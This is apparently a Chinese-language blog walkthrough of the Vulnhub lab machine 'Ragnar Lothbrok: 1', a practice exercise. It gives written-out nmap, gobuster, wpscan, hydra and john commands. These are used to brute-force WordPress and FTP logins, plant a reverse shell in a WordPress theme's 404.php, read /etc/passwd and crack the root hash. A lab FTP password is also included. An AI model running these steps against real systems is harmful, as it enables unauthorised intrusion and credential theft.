Vulnhub: Ragnar Lothbrok: 1靶机

发布时间 2023-08-30 17:06:45作者: ctostm

kali:192.168.111.111

靶机:192.168.111.226

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.226

image

作者提示修改hosts文件

image

目录爆破

gobuster dir -u http://armbjorn -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf

image

secret内容

image

secret的内容作为密码字典爆破wordpress

wpscan --url http://armbjorn/wordpress -e u,ap,at,cb,dbe --plugins-detection aggressive
wpscan --url http://armbjorn/wordpress -U ragnar -P ./pass.txt

image

image

修改后台源码

image

修改完后访问http://armbjorn/wordpress/wp-content/themes/twentytwenty/404.php获得反弹shell

image

提权

查看/etc/passwd,目标存在ragnar用户

image

利用之前搜集的密码字典爆破目标ftp,得到ragnar用户密码:lagertha

hydra -l ragnar -P ./pass.txt 192.168.111.226 -s 21 ftp -t 64

image

切换到ragnar用户

image

ragnar用户家目录,在secret文件中发现root用户密码密文

tail secret

image

利用john爆破

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

切换到root

image